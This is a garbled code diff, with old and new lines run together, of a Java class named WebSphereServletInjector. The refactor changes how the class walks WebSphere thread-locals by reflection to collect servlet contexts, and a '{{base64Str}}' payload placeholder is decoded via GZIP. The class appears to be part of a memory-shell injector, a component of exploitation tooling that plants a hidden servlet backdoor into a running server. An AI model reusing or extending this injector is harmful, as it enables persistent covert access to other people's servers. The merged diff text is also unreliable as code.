context = getFieldValue(getFieldValue(config, "context"), "context"); contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
contexts.add(context);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
contexts.add(context);
} }
} }
return contexts; return contexts;
@@ -6,9 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Properties;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -31,7 +29,7 @@ public class WebSphereServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public WebSphereServletInjector() { public WebSphereServletInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -69,27 +67,22 @@ public class WebSphereServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Object context; Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) { for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x // for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) { if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack"); Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context"); contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
contexts.add(context);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
contexts.add(context);
} }
} }
return contexts; return contexts;